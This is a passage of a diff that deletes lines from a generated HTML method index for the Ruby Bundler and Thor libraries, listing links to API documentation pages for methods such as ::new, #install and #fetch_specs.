-			<li><a href="Bundler/Dependency.html#method-c-new">::new &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Thor/DynamicTask.html#method-c-new">::new &mdash; Thor::DynamicTask</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-c-new">::new &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-c-new">::new &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Bundler/Source/Path/Installer.html#method-c-new">::new &mdash; Bundler::Source::Path::Installer</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-c-new">::new &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Thor/Base.html#method-c-new">::new &mdash; Thor::Base</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-c-new">::new &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-c-new">::new &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Thor.html#method-c-printable_tasks">::printable_tasks &mdash; Thor</a></li>
-		
-			<li><a href="Bundler.html#method-c-read_file">::read_file &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler.html#method-c-require">::require &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler.html#method-c-requires_sudo%3F">::requires_sudo? &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler/Resolver.html#method-c-resolve">::resolve &mdash; Bundler::Resolver</a></li>
-		
-			<li><a href="Bundler.html#method-c-root">::root &mdash; Bundler</a></li>
-		
-			<li><a href="Thor/Util.html#method-c-ruby_command">::ruby_command &mdash; Thor::Util</a></li>
-		
-			<li><a href="Bundler.html#method-c-ruby_scope">::ruby_scope &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler.html#method-c-settings">::settings &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler.html#method-c-setup">::setup &mdash; Bundler</a></li>
-		
-			<li><a href="Thor/Base.html#method-c-shell">::shell &mdash; Thor::Base</a></li>
-		
-			<li><a href="Thor/Base.html#method-c-shell%3D">::shell= &mdash; Thor::Base</a></li>
-		
-			<li><a href="Thor/Util.html#method-c-snake_case">::snake_case &mdash; Thor::Util</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-c-source_root">::source_root &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler.html#method-c-specs_path">::specs_path &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler/BundlerError.html#method-c-status_code">::status_code &mdash; Bundler::BundlerError</a></li>
-		
-			<li><a href="Thor/Base.html#method-c-subclass_files">::subclass_files &mdash; Thor::Base</a></li>
-		
-			<li><a href="Thor/Base.html#method-c-subclasses">::subclasses &mdash; Thor::Base</a></li>
-		
-			<li><a href="Thor.html#method-c-subcommand">::subcommand &mdash; Thor</a></li>
-		
-			<li><a href="Thor.html#method-c-subcommand_help">::subcommand_help &mdash; Thor</a></li>
-		
-			<li><a href="Thor.html#method-c-subcommands">::subcommands &mdash; Thor</a></li>
-		
-			<li><a href="Bundler.html#method-c-sudo">::sudo &mdash; Bundler</a></li>
-		
-			<li><a href="Thor.html#method-c-task_help">::task_help &mdash; Thor</a></li>
-		
-			<li><a href="Thor/Util.html#method-c-thor_classes_in">::thor_classes_in &mdash; Thor::Util</a></li>
-		
-			<li><a href="Thor/Util.html#method-c-thor_root">::thor_root &mdash; Thor::Util</a></li>
-		
-			<li><a href="Thor/Util.html#method-c-thor_root_glob">::thor_root_glob &mdash; Thor::Util</a></li>
-		
-			<li><a href="Bundler.html#method-c-tmp">::tmp &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler.html#method-c-ui">::ui &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler.html#method-c-upgrade_lockfile">::upgrade_lockfile &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler.html#method-c-user_bundle_path">::user_bundle_path &mdash; Bundler</a></li>
-		
-			<li><a href="Thor/Util.html#method-c-user_home">::user_home &mdash; Thor::Util</a></li>
-		
-			<li><a href="Bundler.html#method-c-with_clean_env">::with_clean_env &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-%3C%3C">#<< &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-%3D%3D">#== &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/DepProxy.html#method-i-%3D%3D">#== &mdash; Bundler::DepProxy</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-%3D%3D">#== &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-%3D%3D">#== &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-%3D%3D">#== &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-%5B%5D">#[] &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-%5B%5D">#[] &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-i-%5B%5D">#[] &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-i-%5B%5D%3D">#[]= &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-%5B%5D%3D">#[]= &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Bundler/Resolver/SpecGroup.html#method-i-__dependencies">#__dependencies &mdash; Bundler::Resolver::SpecGroup</a></li>
-		
-			<li><a href="Bundler/LazySpecification.html#method-i-__materialize__">#__materialize__ &mdash; Bundler::LazySpecification</a></li>
-		
-			<li><a href="Bundler/RemoteSpecification.html#method-i-__swap__">#__swap__ &mdash; Bundler::RemoteSpecification</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-_deprecated_options">#_deprecated_options &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-_normalize_hash">#_normalize_hash &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-_normalize_options">#_normalize_options &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Bundler/RemoteSpecification.html#method-i-_remote_specification">#_remote_specification &mdash; Bundler::RemoteSpecification</a></li>
-		
-			<li><a href="Bundler/Resolver/SpecGroup.html#method-i-activate_platform">#activate_platform &mdash; Bundler::Resolver::SpecGroup</a></li>
-		
-			<li><a href="Gem/Specification.html#method-i-add_bundler_dependencies">#add_bundler_dependencies &mdash; Gem::Specification</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-add_file">#add_file &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-add_remote">#add_remote &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Thor/Actions/ClassMethods.html#method-i-add_runtime_options%21">#add_runtime_options! &mdash; Thor::Actions::ClassMethods</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-all">#all &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration/Legacy.html#method-i-all_specs">#all_specs &mdash; Bundler::RubygemsIntegration::Legacy</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration/Modern.html#method-i-all_specs">#all_specs &mdash; Bundler::RubygemsIntegration::Modern</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-all_tasks">#all_tasks &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-allow_git_ops%3F">#allow_git_ops? &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-allow_sudo%3F">#allow_sudo? &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-append_file">#append_file &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-apply">#apply &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-argument">#argument &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-arguments">#arguments &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-ask">#ask &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Thor/Shell/HTML.html#method-i-ask">#ask &mdash; Thor::Shell::HTML</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-base_name">#base_name &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/UI/Shell.html#method-i-be_quiet%21">#be_quiet! &mdash; Bundler::UI::Shell</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-bin_path">#bin_path &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-build_gem">#build_gem &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-built_gem_path">#built_gem_path &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-cache">#cache &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-cache">#cache &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-cache">#cache &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-cache">#cache &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Runtime.html#method-i-cache">#cache &mdash; Bundler::Runtime</a></li>
-		
-			<li><a href="Bundler/Runtime.html#method-i-cache_path">#cache_path &mdash; Bundler::Runtime</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-cache_path">#cache_path &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-cached%21">#cached! &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-cached%21">#cached! &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-cached%3F">#cached? &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-cached_gem">#cached_gem &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-cached_specs">#cached_specs &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-check">#check &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-check_unknown_options%21">#check_unknown_options! &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-checkout">#checkout &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-chmod">#chmod &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-class_option">#class_option &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-class_options">#class_options &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-clean%3F">#clean? &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler/SharedHelpers.html#method-i-clean_load_path">#clean_load_path &mdash; Bundler::SharedHelpers</a></li>
-		
-			<li><a href="Bundler/Resolver.html#method-i-clean_req">#clean_req &mdash; Bundler::Resolver</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-clear_paths">#clear_paths &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-config">#config &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-configuration">#configuration &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/UI.html#method-i-confirm">#confirm &mdash; Bundler::UI</a></li>
-		
-			<li><a href="Bundler/UI/Shell.html#method-i-confirm">#confirm &mdash; Bundler::UI::Shell</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-console">#console &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-converge_dependencies">#converge_dependencies &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-converge_locked_specs">#converge_locked_specs &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-converge_sources">#converge_sources &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-copy_file">#copy_file &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-create_file">#create_file &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-current_dependencies">#current_dependencies &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Environment.html#method-i-current_dependencies">#current_dependencies &mdash; Bundler::Environment</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-current_env%3F">#current_env? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-current_platform%3F">#current_platform? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/UI/Shell.html#method-i-debug">#debug &mdash; Bundler::UI::Shell</a></li>
-		
-			<li><a href="Bundler/Resolver.html#method-i-debug">#debug &mdash; Bundler::Resolver</a></li>
-		
-			<li><a href="Bundler/UI.html#method-i-debug">#debug &mdash; Bundler::UI</a></li>
-		
-			<li><a href="Bundler/UI/Shell.html#method-i-debug%21">#debug! &mdash; Bundler::UI::Shell</a></li>
-		
-			<li><a href="Bundler/SharedHelpers.html#method-i-default_gemfile">#default_gemfile &mdash; Bundler::SharedHelpers</a></li>
-		
-			<li><a href="Bundler/SharedHelpers.html#method-i-default_lockfile">#default_lockfile &mdash; Bundler::SharedHelpers</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-delete">#delete &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Bundler/Environment.html#method-i-dependencies">#dependencies &mdash; Bundler::Environment</a></li>
-		
-			<li><a href="Bundler/Runtime.html#method-i-dependencies_for">#dependencies_for &mdash; Bundler::Runtime</a></li>
-		
-			<li><a href="Gem/Specification.html#method-i-dependencies_to_gemfile">#dependencies_to_gemfile &mdash; Gem::Specification</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-destination_root">#destination_root &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-destination_root%3D">#destination_root= &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-directory">#directory &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-download_gem">#download_gem &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-download_gem_from_uri">#download_gem_from_uri &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-dynamic_width">#dynamic_width &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-dynamic_width_stty">#dynamic_width_stty &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-dynamic_width_tput">#dynamic_width_tput &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-i-each">#each &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-each">#each &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-empty%3F">#empty? &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-empty_directory">#empty_directory &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Gem/Dependency.html#method-i-encode_with">#encode_with &mdash; Gem::Dependency</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-ensure_equivalent_gemfile_and_lockfile">#ensure_equivalent_gemfile_and_lockfile &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-env">#env &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Bundler/DepProxy.html#method-i-eql%3F">#eql? &mdash; Bundler::DepProxy</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-eql%3F">#eql? &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-eql%3F">#eql? &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-eql%3F">#eql? &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/UI/Shell.html#method-i-error">#error &mdash; Bundler::UI::Shell</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-error">#error &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Bundler/UI.html#method-i-error">#error &mdash; Bundler::UI</a></li>
-		
-			<li><a href="Bundler/Resolver.html#method-i-error_message">#error_message &mdash; Bundler::Resolver</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-exec">#exec &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-exit_on_failure%3F">#exit_on_failure? &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-expand_dependencies">#expand_dependencies &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-expanded_dependencies">#expanded_dependencies &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-fetch">#fetch &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-fetch_all_remote_specs">#fetch_all_remote_specs &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/RemoteSpecification.html#method-i-fetch_platform">#fetch_platform &mdash; Bundler::RemoteSpecification</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-fetch_specs">#fetch_specs &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-fetch_specs">#fetch_specs &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-file_collision">#file_collision &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Bundler/SharedHelpers.html#method-i-find_gemfile">#find_gemfile &mdash; Bundler::SharedHelpers</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-find_in_source_paths">#find_in_source_paths &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration/Modern.html#method-i-find_name">#find_name &mdash; Bundler::RubygemsIntegration::Modern</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration/Legacy.html#method-i-find_name">#find_name &mdash; Bundler::RubygemsIntegration::Legacy</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-i-for">#for &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Bundler/Resolver/SpecGroup.html#method-i-for%3F">#for? &mdash; Bundler::Resolver::SpecGroup</a></li>
-		
-			<li><a href="Thor/Task.html#method-i-formatted_usage">#formatted_usage &mdash; Thor::Task</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-from_superclass">#from_superclass &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Gem/Specification.html#method-i-full_gem_path">#full_gem_path &mdash; Gem::Specification</a></li>
-		
-			<li><a href="Bundler/LazySpecification.html#method-i-full_name">#full_name &mdash; Bundler::LazySpecification</a></li>
-		
-			<li><a href="Bundler/RemoteSpecification.html#method-i-full_name">#full_name &mdash; Bundler::RemoteSpecification</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-gem">#gem &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-gem">#gem &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-gem_bindir">#gem_bindir &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-gem_dir">#gem_dir &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Gem/Specification.html#method-i-gem_dir">#gem_dir &mdash; Gem::Specification</a></li>
-		
-			<li><a href="Bundler/Resolver.html#method-i-gem_message">#gem_message &mdash; Bundler::Resolver</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-gem_path">#gem_path &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-gem_platforms">#gem_platforms &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/Resolver.html#method-i-gems_size">#gems_size &mdash; Bundler::Resolver</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-gemspec">#gemspec &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-generate_bin">#generate_bin &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/Source/Path/Installer.html#method-i-generate_bin">#generate_bin &mdash; Bundler::Source::Path::Installer</a></li>
-		
-			<li><a href="Bundler/Installer.html#method-i-generate_bundler_executable_stubs">#generate_bundler_executable_stubs &mdash; Bundler::Installer</a></li>
-		
-			<li><a href="Bundler/GemHelpers.html#method-i-generic">#generic &mdash; Bundler::GemHelpers</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-get">#get &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-git">#git &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-git">#git &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-git_push">#git_push &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Gem/Specification.html#method-i-git_version">#git_version &mdash; Gem::Specification</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-global_config_file">#global_config_file &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-group">#group &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-group">#group &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Gem/Specification.html#method-i-groups">#groups &mdash; Gem::Specification</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-groups">#groups &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Graph.html#method-i-groups">#groups &mdash; Bundler::Graph</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-gsub_file">#gsub_file &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-guard_already_tagged">#guard_already_tagged &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-guard_clean">#guard_clean &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Thor/Task.html#method-i-handle_argument_error%3F">#handle_argument_error? &mdash; Thor::Task</a></li>
-		
-			<li><a href="Thor/Task.html#method-i-handle_no_method_error%3F">#handle_no_method_error? &mdash; Thor::Task</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-has_revision_cached%3F">#has_revision_cached? &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-hash">#hash &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Gem/Platform.html#method-i-hash">#hash &mdash; Gem::Platform</a></li>
-		
-			<li><a href="Bundler/DepProxy.html#method-i-hash">#hash &mdash; Bundler::DepProxy</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-hash">#hash &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-have_groff%3F">#have_groff? &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-help">#help &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Thor.html#method-i-help">#help &mdash; Thor</a></li>
-		
-			<li><a href="Thor/HiddenTask.html#method-i-hidden%3F">#hidden? &mdash; Thor::HiddenTask</a></li>
-		
-			<li><a href="Thor/Task.html#method-i-hidden%3F">#hidden? &mdash; Thor::Task</a></li>
-		
-			<li><a href="Bundler/SharedHelpers.html#method-i-in_bundle%3F">#in_bundle? &mdash; Bundler::SharedHelpers</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-in_cache">#in_cache &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-in_locked_deps%3F">#in_locked_deps? &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-in_root">#in_root &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Bundler/Environment.html#method-i-index">#index &mdash; Bundler::Environment</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-index">#index &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-inflate">#inflate &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/UI.html#method-i-info">#info &mdash; Bundler::UI</a></li>
-		
-			<li><a href="Bundler/UI/Shell.html#method-i-info">#info &mdash; Bundler::UI::Shell</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-inherited">#inherited &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-init">#init &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/Resolver/SpecGroup.html#method-i-initialize_copy">#initialize_copy &mdash; Bundler::Resolver::SpecGroup</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-initialize_copy">#initialize_copy &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-inject_into_class">#inject_into_class &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-inject_into_file">#inject_into_file &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-inside">#inside &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Bundler/Environment.html#method-i-inspect">#inspect &mdash; Bundler::Environment</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-install">#install &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-install">#install &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-install">#install &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-install">#install &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-install">#install &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-install_gem">#install_gem &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-installed_specs">#installed_specs &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Thor/Invocation.html#method-i-invoke">#invoke &mdash; Thor::Invocation</a></li>
-		
-			<li><a href="Thor/Invocation.html#method-i-invoke_with_padding">#invoke_with_padding &mdash; Thor::Invocation</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-jruby%3F">#jruby? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-key_for">#key_for &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-i-length">#length &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Gem/Specification.html#method-i-load_paths">#load_paths &mdash; Gem::Specification</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-load_spec_files">#load_spec_files &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-load_spec_files">#load_spec_files &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Gem/Specification.html#method-i-loaded_from">#loaded_from &mdash; Gem::Specification</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-loaded_specs">#loaded_specs &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-local_config_file">#local_config_file &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-local_specs">#local_specs &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-locate_gem">#locate_gem &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-locations">#locations &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Bundler/Environment.html#method-i-lock">#lock &mdash; Bundler::Environment</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-lock">#lock &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-lock">#lock &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-i-lookup">#lookup &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-mark_loaded">#mark_loaded &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-marshal_spec_dir">#marshal_spec_dir &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/MatchPlatform.html#method-i-match_platform">#match_platform &mdash; Bundler::MatchPlatform</a></li>
-		
-			<li><a href="Gem/Dependency.html#method-i-matches_spec%3F">#matches_spec? &mdash; Gem::Dependency</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-i-materialize">#materialize &mdash; Bundler::SpecSet</a></li>
-		
